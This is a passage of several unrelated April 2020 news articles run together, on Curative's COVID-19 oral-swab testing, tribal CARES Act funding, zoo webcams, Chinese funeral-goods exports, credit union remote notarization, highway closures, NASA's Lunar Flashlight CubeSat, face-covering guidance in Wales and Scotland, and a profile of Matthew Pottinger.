city. We made an informed decision to conduct testing based on the oral-swab method, rather than do no testing at all, Eckstein said. Some experts point to studies showing that far more of the virus accumulates in the nasal passages than in the mouth. "If the virus is not captured in swab, it won't be detected," said Nam Tran, associate clinical professor in the department of pathology and lab medicine at UC Davis. Fred Turner, Curatives founder and chief executive, said the study his company did showed the self-administered oral-swab test is at least as accurate as the nasal-swab test performed by doctors and recommended by the FDA. The study has not yet been published or reviewed by other scientists. Some patients say Curatives test is neither accurate nor fast. Dennis Layton, an audio engineer in Lancaster, said he got a false negative result from Curative after swabbing himself at a test site at the Antelope Valley Mall in Palmdale on April 5. He had been suffering from body aches, a fever and difficulty breathing for several days before signing up for a free test through the website run jointly by the city and county of Los Angeles. Workers at the site told him he would receive results within a day or two. But Layton, 37, didnt hear back for five days. In the meantime, he was admitted to the hospital, where a doctor diagnosed him with COVID-19. On April 10, an email from Curative said he had tested negative. Its disheartening and also misleading to the public, Layton said of the false negative result. He said he worries that others with negative results will be less careful in public and put people at risk. Curative executives said the company could not talk about results from individual patients. The company sends a disclaimer to patients that a negative test could mean the sample was taken too early into an infection, and that people should minimize contact with others for at least seven days after feeling symptoms. Turner said the company had worked with government officials to solve early problems including delays. The city has so far paid Curative at least $5.9 million, or $137 for each test. The company is also administering tests at some sites run by the county, which is paying $150 for each test, according to the contract. By comparison, the federal government pays $100 for a test for Medicare patients. Success in Los Angeles could dramatically boost revenue for Curative, which has ambitions to open new labs across the country. The top procurement officer for the U.S. Air Force, Will Roper, suggested the technology could be deployed beyond the military to the wider civilian population. And the company also plans to sell at-home versions of the test. Curative had already shipped dozens of the kits to consumers but pulled back after the FDA warned the public on March 20 not to use any at-home COVID-19 test because they could keep some patients from seeking care. The profusion of new tests is eyed warily by many public health experts, who warn of possible false negative results in the nasal-based tests as well as ones that rely on less-established methods such as Curative's oral-swab technique. The tests are useful for determining if the patient is infected with the virus, but a negative result, they say, should be viewed with suspicion because the patient may still carry the virus. If it comes back negative, said Ghedin, the NYU virologist, dont believe it. For the record: 11:08 AM, Apr. 28, 2020: An earlier version of this article, in describing experts concerns about possible false negative results, referred only to the oral-swab technique. Experts also warn that nasal swab tests can deliver false negative results. Pennridge to vote on one textbook; further review on other one Copyright 2020 Albuquerque Journal A U.S. district judge has issued a preliminary injunction prohibiting the Treasury Department from disbursing a portion of tribal COVID-19 relief funds to Alaska Native corporations. Judge Amit P. Mehta issued the ruling on Monday. At issue is $8 billion included for tribal governments under the Coronavirus Aid, Relief, and Economic Security Act. The Navajo Nation and 10 other tribes had filed suit against the U.S. Treasury, arguing that Alaska Native corporations should not qualify as tribal governments eligible for that portion of relief funds. The court will preliminarily enjoin the Secretary from disbursing Title V funds to any (Alaska Native Corporations), but will not direct him at this time to disburse the entire $8 billion in emergency relief to Plaintiffs and other federally recognized tribes, according to the memorandum opinion that accompanied Judge Mehtas injunction. The CARES Act defines a tribal government as the recognized governing body of an Indian tribe. The Treasury Department initially stated that Alaska Native corporations fit that definition. Mondays court ruling states that no ANC satisfies the definition of tribal government under the CARES Act, and that the corporations may be eligible for other funding from the legislation. In a news release Monday, Navajo Nation President Jonathan Nez applauded the judges decision. Federally recognized tribes stood together to oppose the actions of the Department of the Treasury in another attempt to undermine the first citizens of this country, but our voices were heard and Indigenous people prevailed today! Im sure there will be other attempts to direct these funds away from tribes, but we need to remain strong in our position and continue to ask our congressional delegation to continue fighting alongside us for our fair share of CARES Act funding, President Nez said. The Treasury Department has said that emergency funds from the CARES Act could be distributed to tribal governments as soon as Tuesday. What's that outside your kitchen window? An orangutan? A Gentoo penguin? Nope, it's just a squirrel. For animal lovers, the neighborhood wildlife might not be as exciting as the more exotic creatures that live in zoos and aquariums. Although their doors are temporarily closed, you can take a peek behind the gates and observe the animals through live streams captured by video cameras set up in enclosures and tanks. "Maybe you've never seen a walrus before, so you could watch for a while and realize that even though they're a little awkward on land, they are very graceful in the water," said Carla Knapp, who works for the Indianapolis Zoo. "Or perhaps after a few days of watching our tigers, you may notice that they're all drawn to the same tree or rock. That's because they can smell the other tiger that was there a couple days ago." With the live footage, each episode is different. Maybe you will see the animals playing or snacking or sleeping. (Don't be alarmed if there are no animals on view. It just means they have disappeared into a private area or a staff member was not available to move the camera.) Here are a few animal cams you should tune into: - Marine life Option 1: Monterey Bay Aquarium in California has nine viewing options for animals (sharks and penguins, for example) and aquatic environments (kelp forest, coral reef). You can watch the sea otters dart through the water like Olympic swimmers or bob along with the moon jellies and sea nettles as they perform their ghostly dances. Or take a deep dive into the Ocean Sea and "swim" alongside tuna, sea turtles and pelagic rays. Visit montereybay aquarium.org/animals/live-cams. Option 2: The Georgia Aquarium in Atlanta trains its lenses on nine marine settings and creatures, including beluga whales, piranhas, California sea lions and puffins, which are filmed from below to capture their tiny but bright orange feet. Visit georgiaaquarium.org/webcam/ocean-voyager. - Big cats Option 1: The Indianapolis Zoo in Indiana is home to Amur tigers Maxim, Metis and Zoya. Tigers like to hang out by themselves, so you will typically see one at a time. When not napping - they are cats, after all - the tigers roam their habitat, sniffing out any threats or hunting for their next meal. To stimulate the cats' senses, the zookeepers sprinkle scents throughout the area, such as powdered goat's milk and perfume. The stinkier the smell, the happier the tiger. If the cats are hiding, check out the zoo's other camera stars: Pacific walruses, penguins, macaws and long-tailed macaques. Visit indiana poliszoo.com/webcams. Option 2: Unlike tigers, African lions are social creatures. Six cats live at the Smithsonian's National Zoo in Washington, D.C., and the three males and three females do not practice social distancing. Also check out the zoo's other cameras documenting the giant pandas, naked mole-rats and elephants. Echo, a cheetah mom, recently moved her cubs into a den without a camera, but you can wait for her return. Visit national zoo.si.edu/webcams/lion-cam. - Bears Option 1: Wave a human paw at the grizzly bear twins, Keema and Denali, which live at Woodland Park Zoo in Seattle, Washington. Their habitat includes a stream and pool where the brothers enjoy trout fishing. (The pool is off-screen, so you will just have to imagine their fishing skills.) The staff disperses food throughout the exhibit for a tasty scavenger hunt. Though twins, a sharp eye can tell them apart: Keema has a light-colored patch on his side, and Denali has a broader forehead. Visit zoo.org/bearcam. Option 2: The Alaska Zoo in Anchorage recently removed Cranbeary, a female polar bear, from public view while the staff determined whether she was going to give birth. Baby season came and went, and the sugar-white bear is back in view. Watch her amble around her yard, which is filled with big bear toys such as a truck tire and garbage can. You might catch her giving herself a belly rub on a patch of snow. Visit alaska zoo.org/polar-bear-camera. - Primates Option 1: With the San Diego Zoo's ape cam, join the orangutan and siamang party that is often in full swing. The siamang clan consists of dad (Unkie), mom (Eloise) and child (Selamat); the orangutans include Satu, Indah, Karen and Aisha. If you see the apes crouching over a fake termite mound with a stick, they are digging for their version of gold: baby food, applesauce and other treats hidden by the staff. The California zoo has 12 animal cams, so you can switch it up with koalas, butterflies, baboons, pandas and more. Visit zoo.sandiego zoo.org/cams/ape-cam. Option 2: At the Utica Zoo in Upstate New York, the cotton-top tamarins are hardly camera-shy and sometimes peer into the lens. Dharma and her 13-year-old sons, Tom and Sawyer, are active all day, grooming, feeding and bouncing among the branches. They share their habitat with the more mellow rhino iguanas, Blackfoot and Stubby. Visit uticazoo.org/livecam. Chinese producers struggle to cope with rising overseas demand for funeral items Global Times By Yin Yeping Source:Global Times Published: 2020/4/27 21:23:40 Epidemic sparks demand for funeral goods With coronavirus deaths rising abroad, orders for importing funeral-service supplies from China surged 487 percent month-on-month in March, data from Alibaba's business-to-business e-commerce platform showed. Overseas demand for body bags, coffins and urns has jumped. From March 27 to April 25, the top three overseas markets for Chinese-made funeral service supplies were the US, Mexico and Italy, Alibaba.com told the Global Times on Monday. Enquiries for the goods increased in March compared with February, both for body bags and coffins. Enquiries for body bags rose 22,000 percent and those for coffins increased 267 percent. Tian Xianzhi, a manager with Jiesen Trade Co, a large supplier of funeral items including coffins and body bags, said that he had been in the industry for 15 years and never saw such a surge in export demand. "The enquiries from abroad have increased about 10 times and actual orders rose by three or even five times, but we're limited by our production capacity at the moment," Tian said, adding that the major destinations are the US and European countries. The total confirmed deaths rose to 207,270, according to updates by Johns Hopkins as of press time. Jiesen Trade Co sourced shipments from Guangdong, Shandong and Sichuan provinces, but was still unable to meet the rising market demand. A shareholder's factory that supplies hotels was refitted for emergency production of funeral items, Tian said. Despite adjustment of shipments and expansion of production, other issues such as rising costs of raw materials and technical bottlenecks now affect Tian's company. Non-woven fabrics, a major material for making body bags, are also used in masks and protective suits. The fabrics are becoming expensive and scarce. "We are three months behind in our orders for body bags," Tian said. The same issue applies to coffin-making, as a coffin involves sculpturing techniques that often take skillful workers 30 days to make, a production process that cannot be accelerated in a short time. "In addition to the production process, delivery and customs clearance will take another two months, which means a three-month wait for clients to get the goods," Tian said, adding that the company is no longer taking orders. Tian's company has exported more to European countries than to the US recently due to the additional 25 percent tariffs on Chinese exports to the US, including funeral supplies. A manager surnamed Wang with Share Group, a large producer of funeral supplies including urns, coffins and wreaths, based in Fujian Province, told the Global Times that the company invested tens of millions of yuan to expand production partially due to world demand. "The foreign orders that we have received are 20 percent higher than in the same period last year," Wang said. Shipping costs are also three to five times higher than before the outbreak. A business manager surnamed Liu from a manufacturing and trading company in Qingdao, East China's Shandong Province, told the Global Times on Monday that it cost 30 yuan to ship 1 kilogram of body bags from China to Europe before the outbreak, but now it costs about 100 yuan. To lower shipping costs, Liu's company upgraded the product to cut its weight by two-thirds and make it waterproof, while keeping the price unchanged. Not all sectors have seen rising demand amid the COVID-19 outbreak. Wang Chuanyou, a manager at a Quanyou tombstone processing factory, told the Global Times that the company used to export tombstones to the US, Canada, UK and Russia, but now there are few orders coming in. "To my knowledge, the reason for the decline is that as the local epidemic continues, many funerals have been canceled or put on hold, so orders are down two-thirds compared with the same period last year," Wang said, adding that as the outbreak abates abroad, exports should increase. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Analysts are busy making all sorts of predictions about how the coronavirus pandemic may change the way humans behave, the things we value, and the types of activities we enjoy. Their forecasts range from the obvious (e.g., more companies will reconsider remote working policies) to the provocative (e.g., robots, rather than humans, will take vitals in a healthcare system). One prediction that really resonated with our team is the idea of the investor mindset shift. As one startup CEO surmised, venture capitalists will look less at revenue and funding rounds, more at things like culture and flexibility, which can sustain a young, scaling business through market fluctuations and unforeseen circumstances. The analyst and startup communities are far from the only ones pondering change. The credit unions we talk with on a daily basis are beginning to think about the longer-tail impact of COVID-19, too. After weeks of hustle and bustle to maintain the mission critical areas of their cooperatives, credit union executives are likely able to exhale long enough to consider whats next. To be sure, credit union leaders are still very much in the throes of COVID-19 navigation. They also have a fair amount of qualitative and quantitative data from the past several weeks providing insight into member behavior, preferences, and needs. All of this is igniting their strategic fires and exciting them about further investigating the big questions about the future of the movement and the members it serves. We work primarily with lending teams, and the big questions they are facing hover around the borrower experience. Well before the pandemic crisis, local lenders were already struggling to compete with megabanks and fintechs that were beginning to offer faster, simpler engagements for homeowners and homebuyers. As COVID-19 created further complexities, the playing field became even less level. But, heres the thing about community lenders, credit unions in particular: They have a completely different way of looking at challenges. Whereas a megabank or big tech firm sees challenges as a threat to the bottom line or a potential disappointment to shareholders, credit unions see them as an impediment to a persons, a familys or a businesss financial success. When youre driven by this kind of a value system, you can move mountains. Its exactly what weve seen happen with the credit unions in our ecosystem the past few weeks. They did not allow quarantining, social distancing, or business closures to stop them from seeing member loans through to closing. They moved mountains. They pulled together their providers, mobilized their IT teams, lobbied their legislators all to accelerate the legalization of contactless lending. Im talking specifically about remote online notarization (RON). Since March, we have worked alongside some of the most progressive and people-centric credit unions in Iowa to execute the states first-ever RON to close a mortgage loan. It has been a harrowing, busy, and exciting experience, one of the greatest our company has experienced since its founding in 2015. All of this brings me to my post-COVID-19 prediction. Over the next year, maybe less, contactless lending will evolve from a nice-to-have to a core expectation among borrowers. Digital technology has drastically changed daily life for nearly every person today, and with rare exception, its improved daily life. Technology hold-outs who have been forced to adopt new tools to cope with COVID-19 stresses are, often to their great surprise, loving the outcomes. All of the fears and objections which kept both credit unions and members from taking larger strides on their respective digital banking journeys have evaporated. Sure, there have been stumbles and hiccups; new technology has a way of generating them. But, given the right support and encouragement, both members and the cooperatives who support them will overcome them because theyve seen the value of technology. Lots of things will change in a post-pandemic world, but many will stay the same. Credit unions will become braver and more intentional about adopting technology. Yet, the reason theyll pursue digital maturity with newly dogged determination will be rooted in the unwavering tradition of people helping people. Geddes, N.Y. Part of Interstate 690 at the New York State Fairgrounds is closed until 6 a.m. Tuesday and will again close overnight Wednesday and Thursday while construction crews work to install steel beams, according to the state Department of Transportation. The steel beams will support a new eastbound exit ramp to I-690 from the Orange Lot at the fairgrounds in the town of Geddes, DOT spokesman Curtis Jetter said in a news release. Interstate 690 provides vital access to Syracuse area hospitals for residents in the western suburbs, Jetter said in the release. Residents in those areas are urged to be aware of the scheduled closures and be prepared to follow the designated detour route. Here are the scheduled closures: Monday night Crews closed I-690 eastbound lanes at the fairgrounds at 6 p.m. Monday. Message boards posted on the interstate direct detoured traffic to State Fair Boulevard at Exit 6. Motorists should follow the detour signs and head east for 0.9 miles, which will lead them back to I-690 East at Bridge Street. All lanes are scheduled to re-open by 6 a.m. Tuesday. Tuesday night All I-690 eastbound lanes will be closed again, starting at 6 p.m. Tuesday. The left lane on I-690 West also will be closed. All lanes are scheduled to reopen by 6 a.m. Wednesday. Wednesday and Thursday nights All I-690 westbound lanes will be closed starting at 6 p.m. Wednesday and Thursday. Message boards posted on I-690 West will direct detoured traffic to State Fair Boulevard at Exit 7. Drivers should then follow the detour signs west for 0.9 miles, which will bring them back to I-690 West via the State Fair Boulevard ramp at Exit 6. All lanes are scheduled to reopen by 6 a.m. the following day. Drivers are asked to use caution when traveling through the highway work zones and pay attention to all traffic control devices, including signs and flaggers, the DOT said in the release. The DOT also reminded motorists that if theyre caught speeding in a work zone, fines are doubled. Anyone convicted of two or more speeding violations in a work zone can have their drivers license suspended, according to to the Work Zone Safety Act of 2005. Have a tip or a story idea? Contact Catie OToole: cotoole@syracuse.com | text/call (315) 470-2134 | Twitter | Facebook This artist's concept shows the Lunar Flashlight spacecraft, a six-unit CubeSat designed to search for ice on the Moon's surface using special lasers. The spacecraft will use its near-infrared lasers to shine light into shaded polar regions on the Moon, while an onboard reflectometer will measure surface reflection and composition. Credits: NASA/JPL-Caltech As astronauts explore the Moon during the Artemis program, they may need to make use of the resources that already exist on the lunar surface. Take water, for instance: Because it's a heavy and therefore expensive resource to launch from Earth, our future explorers might have to seek out ice to mine. Once excavated, it can be melted and purified for drinking and used for rocket fuel. But how much water is there on the Moon, and where might we find it? This is where NASA's Lunar Flashlight comes in. About the size of a briefcase, the small satellite -- also known as a CubeSat -- aims to detect naturally occurring surface ice believed to be at the bottom of craters on the Moon that have never seen sunlight. "Although we have a pretty good idea there's ice inside the coldest and darkest craters on the Moon, previous measurements have been a little bit ambiguous," said Barbara Cohen, principal investigator of the mission at NASA's Goddard Space Flight Center in Greenbelt, Maryland. "Scientifically, that's fine, but if we're planning on sending astronauts there to dig up the ice and drink it, we have to be sure it exists." Managed by NASA's Jet Propulsion Laboratory in Southern California, the spacecraft is a technology demonstration: It will seek to achieve several technological firsts, including being the first mission to look for water ice using lasers. It will also be the first planetary spacecraft to use a "green" propellant, a new kind of fuel that is safer to transport and store than the commonly used spacecraft propellant hydrazine. "A technology demonstration mission like Lunar Flashlight, which is lower cost and fills a specific gap in our knowledge, can help us better prepare for an extended NASA presence on the Moon as well as test key technologies that may be used in future missions," said John Baker, Lunar Flashlight project manager at JPL. Peering Into the Shadows Over the course of two months, Lunar Flashlight will swoop low over the Moon's South Pole to shine its lasers into permanently shadowed regions and probe for surface ice. Found near the North and South Poles, these dark craters are thought to be "cold traps" that accumulate molecules of different ices, including water ice. The molecules may have come from comet and asteroid material impacting the lunar surface and from solar wind interactions with the lunar soil. "The Sun moves around the crater horizon but never actually shines into the crater," said Cohen, whose team includes scientists at the University of California, Los Angeles, John Hopkins Applied Physics Laboratory and the University of Colorado. "Because these craters are so cold, these molecules never receive enough energy to escape, so they become trapped and accumulate over billions of years." Lunar Flashlight's four-laser reflectometer will use near-infrared wavelengths that are readily absorbed by water to identify any accumulations of ice on the surface. Should the lasers hit bare rock as they shine into the South Pole's permanently shadowed regions, their light will reflect back to the spacecraft, signaling a lack of ice. But if the light is absorbed, it would mean these dark pockets do indeed contain ice. The greater the absorption, the more widespread ice may be at the surface. While the CubeSat can provide information only about the presence of ice on the surface, and not below it, Lunar Flashlight seeks to fill a critical gap in our understanding of how much water ice these regions possess. "We will also be able to compare the Lunar Flashlight data with the great data that we already have from other Moon-orbiting missions to see if there are correlations in signatures of water ice, thereby giving us a global view of surface ice distribution," added Cohen. The mission is detailed in a new paper published in the April 2020 issue of IEEE Aerospace and Electronic Systems Magazine. Lunar Flashlight is funded by the Small Spacecraft Technology program within NASA's Space Technology Mission Directorate. The program is based at NASA's Ames Research Center in California's Silicon Valley. It will be one of 13 secondary payloads aboard the Artemis I mission, the first integrated flight test of NASA's Deep Space Exploration Systems, including the Orion spacecraft and Space Launch System (SLS) rocket launching from the newly upgraded Exploration Ground Systems at Kennedy Space Center in Florida. Under the Artemis program, astronauts and robots will explore more of the Moon than ever before. Robotic missions begin with commercial lunar deliveries in 2021, humans return in 2024, and the agency will establish sustainable lunar exploration by the end of the decade. We will use what we learn on the Moon to prepare to send astronauts to Mars. To learn more about Lunar Flashlight, visit: https://www.jpl.nasa.gov/missions/lunar-flashlight/ To learn more about NASA's Artemis lunar exploration program, visit: https://www.nasa.gov/artemis Please follow SpaceRef on Twitter and Like us on Facebook. Welsh Health Minister to look at Scotlands recommendation for people to wear face coverings This article is old - Published: Tuesday, Apr 28th, 2020 Health Minister,Vaughan Gething has said he wants to see the detail of Scotlands move to recommend people wear face coverings when out in public. The Scottish government today published guidance today recommending people cover their faces when leaving their homes to enter enclosed spaces where its not possible to keep a two-metre distance, such as public transport and some food shops. Scotlands First Minister Nicola Sturgeon said the new guidance is for the use of homemade face coverings and not medical grade face masks used in healthcare settings, stating: I want to stress at the outset, a very important point and ask you to bear this in mind, Im talking here about face coverings made of cloth or other textiles, such as a scarf. Im not talking about medical-grade face masks that you would see health and social care at workers wearing. The Scottish guidance states: The evidence on the use of face coverings is limited, but there may be some benefit in wearing a facial covering when you leave the house and enter enclosed spaces, especially where physical distancing is more difficult and where there is a risk of close contact with multiple people you do not usually meet. Examples include travelling on public transport or entering a food shop where it is not always possible to maintain a 2 metre distance from another customer. There is no evidence to suggest there might be a benefit outdoors, unless in an unavoidable crowded situation, where there may be some benefit. During a press conference today, Vaughan Gething said he wouldnt be drawn into making any comments as to whether Wales would follow Scotlands lead, he said: I need to see the exact detail of what Scotland has said. The challenge is whether you need face mask or a form of face-covering whether its a scarf, whether it does any harm by doing that and theres no evidence of people wearing a scarf does any harm. If we do get formal guidance that people should wear a covering over their face need to understand what that means about the way the public will then behave in adopting them and if people want to go and do their shopping theyre not wearing a covering what the reaction of other people will be. We also need to be particularly cognisant of the potential of the people trying to acquire masks that would otherwise be used by health and care professionals So I want to see the detail about Scotland, and also want to talk with my own Chief Medical Officer here in Wales before getting drawn into making a definitive comment about the position in Wales. You can watch the press conference in full here: WASHINGTON - In February, as President Donald Trump was projecting confidence that China's Xi Jinping had the novel coronavirus under control, his deputy national security adviser Matthew Pottinger received some alarming information. The virus was spreading beyond China's borders, and so, U.S. officials warned, was a disinformation campaign from the Communist Party in Beijing. Chinese leaders, Pottinger believed, were engaging in a massive coverup and a "psychological warfare" operation to obscure the origins of the virus and deflect blame, according to people with knowledge of his thinking. U.S. intelligence officials were picking up signs that Chinese operatives were deliberately sowing disinformation, including state media manipulating stories to change key facts, the people said. Pottinger urged Trump and other senior officials to brand the virus with a label so there would be no mistaking its origins: the Wuhan virus. The episode illustrates the quiet but potent influence of the White House's foremost China expert, whose personal experience as a journalist in that country two decades ago left him deeply distrustful of the regime in Beijing and is now shaping the administration's hard-line posture. Pottinger's push to use the term "Wuhan virus" has reverberated. Trump, eager to deflect blame of his own handling of the virus, escalated the rhetoric by using "Chinese virus." Secretary of State Mike Pompeo angered allies in March when he pressured Group of Seven nations to sign a collective statement employing "Wuhan virus," a demand they refused. Some called the language racist. To Pottinger, the critics missed the point: China's state media had named the virus for Wuhan for weeks before suddenly pressuring the World Health Organization to formally name covid-19, the disease it causes. Beijing needed to own it. Pottinger believes that Beijing's handling of the virus has been "catastrophic" and that "the whole world is the collateral damage of China's internal governance problems," said a person familiar with his thinking, who, like others, spoke on the condition of anonymity to discuss his views. After joining the Trump administration in 2017 as senior director of the National Security Council's Asia division, Pottinger, 46, is now a pivotal player in the Trump administration's attempts to reorient U.S. policy on China toward a more confrontational approach, according to people familiar with his role. In 2017, he helped craft the administration's national security strategy document that formally named China as a strategic competitor, labeling Beijing a "revisionist power." In private, Pottinger has described Xi as steering China's authoritarian system toward a more dangerous "totalitarianism," seeking to implement Orwellian-style controls over most aspects of society. In an interview last fall, H.R. McMaster, who served as Trump's second national security adviser, called Pottinger "central to the biggest shift in U.S. foreign policy since the Cold War, which is the competitive approach to China." Pottinger declined to comment on his role. The White House declined to comment. Since the earliest days of the coronavirus's arrival in the United States, Pottinger has been conferring with his older brother Paul, a virologist at the University of Washington who treated patients stricken in the country's first viral outbreak, according to people familiar with their conversations. He has passed on those front-line observations to the White House coronavirus task force led by Vice President Mike Pence. It was Pottinger who first proposed to Trump a plan to shut down some flights from China in late January, the people said. In March, he led a review that culminated in the State Department slashing the number of visas for Chinese journalists under the rationale that they worked for state-backed propaganda outlets at a time when Beijing was cracking down on foreign reporters. China went on to expel journalists from U.S. publications, including The Washington Post. Pottinger also supported Trump's decision this month to freeze U.S. funding to the WHO over charges that it failed to hold China to account and muzzled Taiwan's earlier warnings in December about the virus that started in China. He is overseeing an internal administration review to present options to the president for how to proceed. His influence has limits. Pottinger is among a group of advisers promoting often contradictory approaches toward China, which, along with Trump's own competing impulses, have created a whiplash effect on U.S. policy. The consequences are playing out in real time as the two world powers have clashed, hampering the international response to the global health and economic emergency. Late last month, Trump and Xi held a phone call to de-escalate tensions, pledging to cooperate on global supply chains. They eased off the most inflammatory rhetoric, but Trump's move to punish the WHO has alarmed global health officials who are concerned it could hamper international coordination. Behind the scenes, Pottinger has pushed intelligence agencies to explore the theory, popular among conservatives, that the pathogen was accidentally released by a virology lab in Wuhan, rather than a wild-animal market. That theory has not been proved, but Pottinger believes there is more circumstantial evidence in favor of the lab explanation, said people with knowledge of his views. He and like-minded State Department aides have warned outside China experts, who had criticized the administration's use of "Wuhan virus," that they should remain skeptical of Beijing's motives. Their message amounted to a warning that more damaging information would come out about Beijing's handling of the pandemic, according to four people on the calls. In a Foreign Affairs essay last month, Kurt Campbell, who served as a high-level Asia policy official in the Obama administration, wrote that the Trump administration should seek avenues of cooperation with China during the pandemic rather than "getting consumed by a war of narratives about who responded better." "Most countries coping with the challenge would rather see a public message that stresses the seriousness of a shared global challenge and possible paths forward," Campbell and co-author Rush Doshi wrote. "And there is much Washington and Beijing could do together for the world's benefit." - - - Pottinger, who has a wife and two children, was not well-known among Washington's foreign policy elite when he joined the Trump administration, but government service runs in the family. His father, Stanley, served in the civil rights division in the Justice Department in the Nixon and Ford administrations. The journalist Bob Woodward has said Stanley Pottinger discovered that FBI official Mark Felt was the Deep Throat source of Watergate fame during an unrelated federal prosecution in 1976. Stanley informed his teenage son of the secret after the boy asked him to arrange a phone call with Woodward to explore his interest in journalism, associates said. But Stanley never revealed Felt's identity to his son. Pottinger learned his own lessons about the sanctity of sources and the dangers of a paranoid government as a journalist in China, working for Reuters, then The Wall Street Journal in the late 1990s and early 2000s. In a personal essay for The Journal in 2005, he described being videotaped by Chinese police, flushing notes down a toilet to hide them from authorities and being roughed up "by a government goon" at a Starbucks in Beijing. In the early 2000s, Pottinger covered the SARS outbreak, and in 2004, after the virus had been largely contained, he wrote a story for The Journal about a small resurgence tied to a safety accident at a lab - an event that associates said colors his views of the current crisis. Paul Eckert, a Reuters journalist who worked with Pottinger in China, said Pottinger was among the many correspondents who "tend to sour on China. On a deeper level, you have affection for the culture and people. But then the regime gets to you over time." Pottinger's fears of Beijing's efforts to control information have influenced his work at the White House. Last year, he was among a cohort of NSC aides who helped shepherd Trump's decision to place Huawei, a giant Chinese telecom equipment-making firm that provides 5G networks, on the Commerce Department's entity list, making it very difficult for American companies to do business with it. At a forum in India in January, Pottinger explained the action by citing the company's unfair Chinese government subsidies. But the real threat, he said, was that allowing Huawei into the country would be akin to President Ronald Reagan and U.K. Prime Minister Margaret Thatcher agreeing to let the KGB, the Soviet Union's spy agency, build telecommunications networks during the Cold War. "Do you want it to be provided by suppliers that are beholden to regime-centric governments that are accountable to no one? Or do you want them to spring from citizen-centric societies that actually obey the rule of law?" he said. "That's really the proposition before us." Pottinger left journalism in 2005 to join the U.S. Marine Corps, where he served in Iraq and Afghanistan as an intelligence officer. In his essay for The Journal, he said he was inspired to make the career change after viewing an "obscene" video of an American being beheaded by a terrorist in Iraq. At 31, Pottinger was older than a typical officer candidate - and out of shape. He trained, friends said, by running along the Great Wall outside Beijing. At officer candidate school in Quantico, Virginia, the drill instructor learned of Pottinger's background in China and challenged him to sing the first verse of the Marine's Hymn in Mandarin, which he did loudly, if not gracefully. It was in Afghanistan that Pottinger caught the attention of Lt. Gen. Michael Flynn, who was overseeing intelligence, and the two men collaborated on an influential report in 2010 that was highly critical of the military's intelligence-gathering methods. Flynn became a prominent Trump surrogate in 2016 and, after the election, was named his administration's first national security adviser. He recruited Pottinger, then working at a New York hedge fund, to join the transition team at Trump Tower. - - - On China, Trump has vacillated between the moderate views of his economic advisers, including senior adviser Jared Kushner, National Economic Council Director Larry Kudlow and Treasury Secretary Steven Mnuchin, who favor cooperation on trade, and the hard-liners such as Steve Bannon, who left in summer 2017, and trade adviser Peter Navarro, who have pushed toward a decoupling of the world's two largest economies. The moderates are sometimes referred to as "KKM," a powerful bloc that generally resists the more aggressive instincts of Pottinger and the superhawk Navarro. Pottinger falls on the scale closer to the hard-liners, but he is less ideological and has maintained a military-style respect for the chain of command, content to stay out of the spotlight and careful not to upstage the bigger personalities in the West Wing, associates said. Those traits have helped him outlast three national security advisers and rise, last summer, to the deputy position under the fourth, Robert O'Brien. "Matt has an extraordinary sense of caution that, 'Let's not push something unless the president clearly has approved it.' This is different from others members of White House staff," said Michael Pillsbury, a Hudson Institute analyst on China who was on the transition team. "Matt has also fashioned alliances and worked closely with different ideological camps." Unlike some Trump aides, Pottinger has a good working relationship with key Democrats, but some have criticized the administration's lurch toward a combative posture with Beijing without hewing to a broader strategic plan. "The problem is the distance between the strategy as [Pottinger] would conceive of it and what is actually coming out as U.S. policy," said Ely Ratner, executive vice president at the Center for a New American Security who worked as an high-ranking adviser to Joe Biden when Biden was vice president. "Acting in a confrontational, unilateral way is not going to be effective unless you're coordinating with your allies, and making the necessary investments in the United States to maintain American competitiveness and put forward an alternative to China. And they're not doing those things." As Asia director, Pottinger kept in his office a large whiteboard mapped out with a highly detailed accounting of China's growing global influence. The diagram was labeled with military-style buzzwords such as "Lines of Effort" and "Strategic Goals," according to people who saw it. A former NSC colleague called it a scorecard of all the ways "the Chinese Communist Party was attacking the West - and how we could fight back." Yet Trump has complicated the efforts with his inconsistent messages on Beijing and his regular praise of Xi. Pottinger met with the families of Chinese dissidents at the Eisenhower Executive Office Building, but Trump has said little about the mass pro-democracy protests in Hong Kong and China's jailing of more than a million Uighur Muslims in Xinjiang. While Trump has cited the move to ban flights for Chinese nationals on Jan. 31 as prescient, experts said the ban was inadequate because the disease was already spreading in the United States and it did not apply to American citizens. Trump continued playing down the dangers for six more weeks, squandering precious time to prepare, even as Pottinger moved to secure face masks for the NSC staff and relocated from the West Wing to the Eisenhower Executive Office Building, distancing himself from O'Brien, in a bid to ensure continuity of service in case either became infected. Associates said he recognizes the limits of his influence on Trump. "Matt looks at it not that he is leading the president, but he'll be ready when [Trump] gets to a place" to make a decision, said Tim Morrison, a former NSC official who worked with Pottinger. "He's not trying to outmaneuver various wings of the White House. That's not how a Marine operates. He follows orders. He makes sure that if a commander says take a hill, he's ready to take a hill." In mid-March, under mounting public criticism, Trump made a sharp turn from praising Xi to blaming China for its lack of transparency, citing a Chinese official who promoted a conspiracy that the virus had been released by the U.S. military. He backed off such confrontational rhetoric after speaking to Xi later in the month. But analysts said the crisis has accelerated and sharpened a geopolitical contest that will play out over years. During the India forum in January, Pottinger was asked whether the administration aimed to "decouple" economically from Beijing in a Cold War-style standoff. "Decoupling," he replied, "is when you have a Great Firewall where not a single Western Internet company has been able to prosper or survive in China, by design. When Christian churches are torn down and ethnic minorities are put into reeducation camps, that's 'decoupling.' So the 'decoupling' is something that's been underway for quite a long time - and it is not driven by the United States." - - - The Washington Post's Alice Crites and John Hudson contributed to this report. The coronavirus that is ravaging the globe will not be eradicated and will instead return as a seasonal virus like the flu, according to Chinese scientists. A group of Chinese viral and medical researchers told reporters in Beijing on Monday that the virus will likely not disappear like SARS did because it can infect asymptomatic carriers. This means that people can spread the virus without experiencing its symptoms like a fever and cough, making it difficult to track its spread. The researchers added that Chinese health officials are still confirming dozens of asymptomatic carriers every day. A medical worker cares for a coronavirus patient in Wuhan. Chinese researchers have now warned that the virus could become a seasonal illness like the flu Medics treat a patient at Stamford Hospital intensive care unit (ICU), on April 24 in Stamford, Connecticut Jin Qi, director of the Institute of Pathogen Biology at the Chinese Academy of Medical Sciences, said: 'This is very likely to be an epidemic that co-exists with humans for a long time, becomes seasonal and is sustained within human bodies.' Doctors across the world have admitted that the virus is unlikely to be completely eliminated, despite lockdowns and other strong measures being enforced in several nations. According to Bloomberg, the Chinese researchers also revealed that they saw no evidence that the virus's spread will slow during the summer. There was some hope that higher temperatures could help to curtail the spread of the virus in the northern hemisphere. However, Wang Guiqiang, head of the infectious diseases department of Peking University First Hospital, said: 'The virus is heat sensitive, but that's 